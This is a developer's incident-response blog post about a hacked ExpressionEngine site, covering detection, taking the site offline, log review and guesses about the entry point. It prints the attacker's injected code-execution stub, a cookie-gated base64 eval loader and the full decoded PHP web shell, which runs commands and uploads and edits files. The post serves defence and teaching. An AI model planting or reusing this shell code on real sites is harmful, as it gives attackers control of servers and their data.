Anatomy of a Compromise

It started with a short email.

Hi Eric: I just went to log in and this is what I am seeing.

Plus, after I typed in my user/pass I immediately received the below email:

–email– ExpressionEngine has detected the modification of a core file on: http://www.site.com/

The following files are affected: /var/www/site.com/htdocs/index.php If you made these changes, please accept the modifications on the control panel homepage. If you did not alter these files it may indicate a hacking attempt. Check the files for any suspicious contents (JavaScript or iFrames) and contact ExpressionEngine support: http://expressionengine.com/forums/viewforum/105/

Please review the support policy before posting to the forums: http://expressionengine.com/support/support_policy/

Weird. I’m supposed to be on hiatus from client work for a few months so this must definitely be a real issue if the client’s going to pull me from my slumber.

“Crap.”

Thinking about it I realized that this was for an ExpressionEngine site I built years ago with the client who refused to pay to upgrade. I remember this one. Nice site. Proud site. The one that caused the spark of an idea for CT Admin now that I think about it.

“Ah, things are starting to come together here. Old site. No upgrades. Security warning about a modified file and PHP errors I’ve never seen before in an ExpressionEngine site… I know what to do.”

First Things First

The very first thing I always do whenever I receive an email or note similar to the above. Check. The. Site. Are we still up? Are the users in immediate danger from malicious code injection?

“Ok, let’s see what we have here…”

Looking into the front site showed that it was still up and kicking with no noticeable issue whatsoever. No delays, no missing pages, no random errors. Nothing out of the ordinary.

“Weird. Everything looks aces. Of course, this means nothing.”

Next up, I do a cursory check of the HTML source on the front site. Why? To protect the users from malicious JavaScript ASAP. Are there any scripts, anywhere, that don’t belong? This is where knowing the coding style of your team really comes into play. Speed is important so there’s no time to actually read and understand all the code and what it’s doing. We’re not ready for that investment just yet.

“Does this script look like Caroline wrote it?”

I’ve worked with Caroline for years so I’m very familiar with how she names her variables and objects, how she does closures and function calls, how she indents rather than uses spaces, or that quirky way there’s always that one line that’s indented and has spaces from when she was bug hunting.

“Lame. Nothing here either. Users are cool though so at least there’s that.”

Time To Get Paid

Once I ensure the site’s up and the users aren’t in any immediate danger the next thing I do is look into the files mentioned. First though, many may be asking why I didn’t do that first. It would have made sense; I can’t argue with the logic. The errors really would tell me exactly where something may have gone wrong.

Short answer is experience (I’ve been burned not checking on users). The story so far tells me there’s a likelihood of a compromise or even straight hacking going on but no confirmation one way or the other (bad code is far more likely after all). Besides, the errors and modifications aren’t going anywhere but the site has traffic coming to it in real time. It could be ruinous to a client if the users get compromised just from visiting the site so the users have to be the #1 priority when investigating compromised properties. Once the front site is confirmed safe then, and only then, triage can begin.

But, why not just pull the site then? Take it offline and dig into things in the safety of a controlled environment. Better safe than sorry after all. And if the site showed any signs of JavaScript injection or malicious anything, that’s exactly what I would have done. But with no evidence otherwise, there didn’t seem to be a need for such a drastic, scorch the earth, approach at that point.

So, I check the file mentioned. The config.php file had an immediate error message so I start there (path of least resistance and all).

Opening the file, this is what I see (cleaned up for readability):

$bNo6=${'_REQU'.'EST'}; 
if (!empty($bNo6['jgt'])) {             
    $Jtl = $bNo6['C6u'];            
    $rny=$bNo6['jgt']($Jtl($bNo6['yXc']),$Jtl($bNo6['cvIsv']));
    $rny($Jtl($bNo6['FuVt']));       
}  
if ( ! defined('BASEPATH')) exit('No direct script access allowed');

/*
|--------------------------------------------------------------------------
| ExpressionEngine Config Items
|--------------------------------------------------------------------------
|
| The following items are for use with ExpressionEngine.  The rest of
| the config items are for use with CodeIgniter.
|
*/

Well that’s about as clear cut case of a compromise as I’ve ever seen. Someone definitely got in and is doing something they don’t want to be obvious. But what’s the endgame?

If it’s not obvious, the above code is exceptionally insidious. It allows arbitrary code execution based on the availability of a specific REQUEST variable and it’s values (cookies most likely). What’s so insidious about this is how simple it is to execute code once the initial payload is on the server. Just change the cookie to include available PHP function names and parameters and refresh the page. Simple and effective.

But, again, what’s the endgame?

Before I can even start thinking about answering that question though I need to pull the site immediately. (I find matter-of-fact, tough love, approach to be required in these situations. NEVER make it an option for anyone ever.)

“We’re going offline people. Deal with it.”

Essentially, at this stage, I want to accomplish two things.

One, is protect the client from themselves. Their site is up and, likely, they won’t appreciate being taken offline. I’ve found “I don’t care” is an appropriate attitude when they give grief on this point.

The other reason is I need to get a snapshot of the property for investigation. I need to determine which files were modified, what the purpose for the modification was, when the modification occurred, and how the modification occurred. At this stage, it’s that last question that’s the most crucial for overall peace of mind but also impossible to answer without the other questions being answered first.

So, I pull the site for investigation (essentially, just running tar on the containing directory suffices in keeping time stamps intact) and take it offline from the web (htaccess magic and a static index.html “we’re down for maintenance” page).

I Need My Pipe and Deerstalker Stat!

With the snapshot in hand, now’s the time to dig into the code. At this point I don’t want to hook it up to a vhost for browser execution; not knowing what’s going on with the code could be dangerous. No, right now I just want to read the code and visually scan for issues.

But where to start? ExpressionEngine is a huge codebase with thousands of files. Thankfully, in this situation I’ve confirmed the config file was compromised so that’s where I start. I check the last modified time stamp on the file and see it was last modified on September 6th at 4:35PM. That’s my baseline.

So I do a find on the codebase for all files that were modified within 90 minutes, give or take, of that time. Why the margin for error? Because at this stage I still don’t know the how or who of the compromise. Could be a script kiddie, using automated tools, or it could be an actual person trying to take my client down while personally pecking away on their keyboard in real time. The margin is to account for both possibilities.

Running the command yields 3 files modified around that time:

expressionengine/config/config.php
expressionengine/config/database.php
./index.php

The database.php file had the exact same code injected at the top as the config.php file so there was nothing new gleaned there. But the index.php file was a wealth of insight. Here’s what I found:

if(isset($_COOKIE['ugnnsk']) || isset($HTTP_COOKIE_VARS['ugnnsk'])) { 
$ugnnsk=str_replace('ugnnsk','','ugnnskICBAc2V0X3RpbWVfbGltaXQoMCk7DQogIEBlcnJvcl
ogIEBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQogIEBpbmlfc2V0KCd1cGxvYWRfbWF4X2ZpbGVz
aXplJywxMDQ4NTc2MCk7DQogIEBpbmlfc2V0KCdwb3N0X21heF9zaXplJywxMDQ4NTc2MCk7DQogIEB
(snip 1000 lines of base64 encoded code)
3lzdGVtKCRjbWQpOw0KCQkJJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJCUBvYl9lbmRfY2xlYW4
oKTsNCgkJfQ0KCQllbHNlDQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkNCgkJew0KCQkJQ
G9iX3N0YXJ0KCk7DQoJCQlAcGFzc3RocnUoJGNtZCk7DQoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cyg
pOw0KCQkJQG9iX2VuZF9jbGVhbigpOw0KCQl9DQoJCWVsc2UNCgkJaWYgKEBpc19yZXNvdXJjZSgkZiA9I
EBwb3BlbigkY21kLCJyIikpKQ0KCQl7DQoJCQkkcmVzID0gIiI7DQoJCQl3aGlsZSghQGZlb2YoJGYpKSB
7ICRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOyB9DQoJCQlAcGNsb3NlKCRmKTsNCgkJfQ0KCQlyZXR1cm4gJ
HJlczsNCgl9DQo='); 
eval(base64_decode($ugnnsk)); 
exit(); 
} 
/**
 * ExpressionEngine - by EllisLab
 *
 * @package     ExpressionEngine
 * @author      ExpressionEngine Dev Team
 * @copyright   Copyright (c) 2003 - 2011, EllisLab, Inc.
 * @license     http://expressionengine.com/user_guide/license.html
 * @link        http://expressionengine.com
 * @since       Version 2.0
 */

I’ve removed quite a bit of the code for sanity but there it is. The hack payload in all it’s truncated and missing 1000 lines of base64 crud glory, injected into the top of the ExpressionEngine index.php script. So, what’s it doing? What’s the point?

It’s actually pretty clever really. The exploit checks for a cookie, even taking PHP4 into account (which is a HUGE clue for later explanation actually), compiles the base64 string into PHP code and executes something using the eval() function. If the cookie is found that is. For everyone else, every other visitor to the site, they won’t notice anything wrong or out of the ordinary. Had EllisLab not included the core file modification alert into ExpressionEngine’s core we never would have been the wiser until a change order from the client came in. So, thanks for that guys.

But what’s the code that gets executed and compiled? That base64 nonsense. The best way to find that out is to decode it and see what gets outputted. This being base64 it’s incredibly simple using either straight PHP or online tools. After decoding the base64 code this is what I received:

@set_time_limit(0);
@error_reporting(2);
@set_magic_quotes_runtime(0);
@ini_set('upload_max_filesize',10485760);
@ini_set('post_max_size',10485760);
@ini_set('file_uploads', true);
@ini_set('display_errors',true);
@ini_set('register_globals',true);
@ini_set('register_long_arrays',true);
@ini_set('max_execution_time',false);
@ini_set('output_buffering',false);
@ini_set('allow_url_fopen',true);
$safemode=@ini_get('safe_mode');

$magic_quotes=1;
if (function_exists('get_magic_quotes_gpc')) $magic_quotes=get_magic_quotes_gpc();

$phpver = str_replace('.','',phpversion());
if (strlen($phpver)<3) while (strlen($phpver)<3) $phpver.='0';
if(intval($phpver) < 410){
$_POST=&$HTTP_POST_VARS;
$_GET=&$HTTP_GET_VARS;
$_SERVER=&$HTTP_SERVER_VARS;
$_COOKIE=&$HTTP_COOKIE_VARS;
$_FILES=&$HTTP_POST_FILES;
}
@ob_end_clean();

$pw_pls="<form method=post><input type=text name=pw></form>";

if (empty($_POST['pw'])) exit($pw_pls);
if (!empty($_POST['pw']) && md5($_POST['pw'])!='79a248de1b0101cbfb4d1a7a60f6d4a5') 
    exit($pw_pls);

$pw="<input type=hidden name=pw value='".htmlspecialchars($_POST['pw'])."'>";

if (!empty($_POST['usemodule'])) include($_POST['usemodule']);

$work_dir = getcwd();
if (strpos($work_dir,"\\")!==false) $work_dir=str_replace("\\","/",$work_dir);
if (strpos(substr($work_dir,0,5),":")!==false) $os="win";
else $os="nix";
if (!empty($_POST['cd'])) $cd=stripslashes($_POST['cd']);
else $cd = $work_dir;

if (is_dir($cd)) chdir($cd);

$run=($magic_quotes)?stripslashes($_POST['run']):$_POST['run'];
$edit=stripslashes($_POST['edit']);
if (!@is_file($edit)) $edit=$cd;

if (!empty($_POST['eval'])) 
    eval(($magic_quotes)?stripslashes($_POST['eval']):$_POST['eval']);

if (!empty($_FILES['userfile']['tmp_name']) 
        && is_uploaded_file($_FILES['userfile']['tmp_name'])) {
    $uploaddir = ereg_replace('/+', '/', $cd."/");
    $uploadfile = $uploaddir.basename($_FILES['userfile']['name']);
    move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
}

if (isset($_POST['save'])) {
if ($magic_quotes) $console = stripslashes($_POST['console']);
else $console = $_POST['console'];
$time = filemtime($edit);
$f=@fopen($edit,"w");
if ($f) {
fwrite($f,$console);
fclose($f);
touch($edit,$time);
$edit=$cd;
}
}

if (!empty($edit) && file_exists($edit) && is_file($edit) && $edit!==$cd) {
if ($os=='win'?can_write($edit):is_writable($edit)) $need_save_button=true;
$f=@fopen($edit,"r");
if ($f) {
if (filesize($edit)>0) $retval = @fread($f,filesize($edit));
else $retval = "[empty]";
fclose($f);
} else {
$retval = "Can't open file: $edit\n";
}
} elseif (!empty($run)) {
$cmd = $run;
$retval = magic_execute($cmd);
} elseif (file_exists($cd) && @is_dir($cd)) {

if (!$safemode)
{
    if ($os=='win')
    {

      $cmd = "dir ".str_replace("/","\\",$cd);
      $retval = magic_execute($cmd);
    }
    else
    {
      $cmd = "ls -la \"$cd\"";
      $retval = magic_execute($cmd);
    }
}

if (empty($retval))
{
    $dir=$cd;
    if($curdir = @opendir($dir)) {
    while($file = readdir($curdir)) {
      if($file != '.' && $file != '..') {
        $srcfile = $dir . '/' . $file;
        if(is_file($srcfile)) {
            if ($os=='win'?can_write($srcfile):is_writable($srcfile)) 
                $retval .= "++ ".$file."\n";
            else $retval .= "-- ".$file."\n";
        } elseif(is_dir($srcfile)) {
            if ($os=='win'?can_write($srcfile):is_writable($srcfile)) 
                $retval .= "d+ ".$file."\n";
            else $retval .= "d- ".$file."\n";
        }
      }
    }
    closedir($curdir);
    } else $retval = "Cant open directory\n";
}


}

$id_exec = "cant get uid,gid";

if ($tmp = magic_execute("id")) $id_exec = $tmp;
elseif (function_exists('posix_getgid'))
{
    $uids  = @posix_getlogin();
    $euids = @posix_getlogin();
    $uid   = @posix_getuid();
    $euid  = @posix_geteuid();
    $gid   = @posix_getgid();
    if (!empty($uid)) $id_exec = "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)";
}

//HTML FORM REMOVED FOR SANITY

exit();


function can_write($file) {
    if(file_exists($file)){
        if (is_file($file)) {
            $f=@fopen($file,"a+");
            if($f){
                fclose($f);return true;
            }
        }elseif (is_dir($file)) {
            if ($file[strlen($file)-1]!='/') 
                $file.='/';$tfile = $file."testxxxtest";

            if (@touch($tfile)){
                unlink($tfile);
                return true;
            }
        }
    }
    return false;
}

function magic_execute($cmd)
{
    $res=false;
    if (function_exists('exec'))
    {
        @exec($cmd,$res);
        $res = join("\n",$res);
    }
    else
    if (function_exists('shell_exec'))
        $res = @shell_exec($cmd);
    else
    if (function_exists('system'))
    {
        @ob_start();
        @system($cmd);
        $res = @ob_get_contents();
        @ob_end_clean();
    }
    else
    if(function_exists('passthru'))
    {
        @ob_start();
        @passthru($cmd);
        $res = @ob_get_contents();
        @ob_end_clean();
    }
    else
    if (@is_resource($f = @popen($cmd,"r")))
    {
        $res = "";
        while(!@feof($f)) { $res .= @fread($f,1024); }
        @pclose($f);
    }
    return $res;
}

Excellent! A backdoor to the server! An old one too; I’ve seen this before actually. Years and years and years ago. Lame. This is, clearly, not as interesting as I had thought.

So, the exploit as it stands at this point is on 2 vectors: the arbitrary code execution in config.php and database.php and the base64’d backdoor script found in index.php that gets passed to eval(). The backdoor is basically a simple form, which also allows code execution, but a whole lot more too. You can upload files, modify files, do all sorts of evil if you’re so inclined.

Ssshhh… Just Let the Eyes Glaze Over…

Now that we know the “what” we need to determine the “how”. How did this evil get onto the server in the first place. We will not go live until we know the initial hole is plugged or else we run the very likely risk of repeating things. So no rest yet.

This being an old install of ExpressionEngine my initial instinct was to look at EE itself. Thus, I need to hit up the Apache logs and find out what happened, and from where, around the time of the config.php file changes (September 6th at 4:35PM). This is where the tedious pain starts.

This was a fairly popular site so the logs were simply enormous. Even gzipped the logs came in at 30MB which meant they were 600MB raw. And I had to go through them line by line looking for anything that stood out as a problem. Which obviously begs the question: what’s a problem?

When it comes to Apache log investigation, POST requests are the likely clue that points to a problem. Yes, GET requests can be a problem too, but when doing the initial investigation I find focusing on POST requests cuts down on the pain considerably since pretty much everything that would allow compromise would be done through a form (POST request). Save the GET requests as a last resort if nothing else can be found.

I also pay attention to the IP addresses for the requests. I don’t have them memorized or anything like that but when scanning a log file I run traces on the IPs I find and try to discern any weirdness among them. For example, a restaurant site based in California getting tons of Control Panel POST requests from China would be suspicious and worth investigating. Conversely, finding the known authorized IP addresses is just as important to remove any false positives.

Make no mistake, this is grueling and time consuming work. It can feel like it’s going on forever and there’s no end in sight. It really depends on the amount of logs to pour through and how many requests there are. It hurts. A lot.

Eventually though, guaranteed, the fog will lift and patterns will start to emerge. In my case, when the fog did lift, the evidence was troubling. I could find zero evidence that ExpressionEngine was at fault or even a little bit to blame. Nothing. Instead, what I saw was that requests for our time range, checking both POST and GET requests, were all authentic with nothing at all suspicious outside of the time they occurred.

Worse, I could find no evidence of any requests to the compromised functionality. It turns out the backdoor was either never used or, if it was, the person responsible did one hell of a clean up job (something that would require a skill set and attention to detail that has been lacking from all evidence till now).

Not that I wanted ExpressionEngine to be the hole. But if it was, plugging it would have been trivial. Upgrade EE, turn the site back on, and go hit happy hour. Not now though. Now it has to be kicked up a couple levels to other people and departments with additional care taken all over the place.

The Grimm Ending

Knowing ExpressionEngine wasn’t the entry point meant restoring the site from Git was on the table. Easy enough really. Unfortunately, not having a resolution calls the entire infrastructure the site lived on into question. We can’t host on that server anymore. Moving the site to a new server and vhost LAMP package got the client back up and running with little pain (in the move) and left us with confidence that the exploit wouldn’t return. For good measure, we’re trying to convince the client to upgrade their ExpressionEngine.

Still, how’d the exploit get in? Who, or what, was responsible? These are big questions that’ll take some time to figure out 100%. But that’s the nature of the beast. Sometimes it’s easy and others it’s just a waiting game requiring patience.

I do feel confident saying that this wasn’t a targeted attack. It has all the feelings of a script kiddie, or at the least, an automated attack with no sense of pride or craftsmanship to it.

First, there’s the backdoor script. Very old school. It takes into account PHP 3 and is clearly copy/pasted from elsewhere. Even doing a search on the md5 string 79a248de1b0101cbfb4d1a7a60f6d4a5 found in the code turns up a StackOverflow question from over a year ago with the exact script.

Second, there is no evidence the backdoor has ever been accessed. At no point, before or after the exploit was put in place, do the logs show any activity. And if the hacker was savvy enough to remove their tracks, why use such a shoddy script for shell access in the first place? Creating something custom would be fairly trivial for those in the know while using the script used must be painful. Regardless, if it was a person sitting in front of a keyboard, they’d at the least verify they were successful in the exploit.

Third, and this is most troubling, the only access to the site that has anything even remotely suspicious looking during the time line came from the client’s network (IP address range). The implications of this are pretty scary; it’s entirely possible their network, or at the least a computer on their network, has a virus which compromised their site. Totally guessing, but that’s where my instincts take me once I consider the log data.

The other scenario, of course, is a breach of the server the site was living on. I don’t give that much credence though, mostly because of the style of exploit implemented. Again, if one has the savvy to execute a system level attack, why bother with placing the exploit in ExpressionEngine at all? But the only way to really know this 100% is to have the sysadmins do their magic and look over all the system logs.

But this is how most compromised site investigations run in my experience. Sometimes you have an answer extremely early in the process (aha! WORDPRESS!!) and other times you have to wait a good while before you know what’s going on. The important thing is to stay on top of it until you have a complete and total answer. Don’t half ass this.

Come see me talk more about security at upcoming ExpressionEngine Conference in Portland on October 14th & 15th.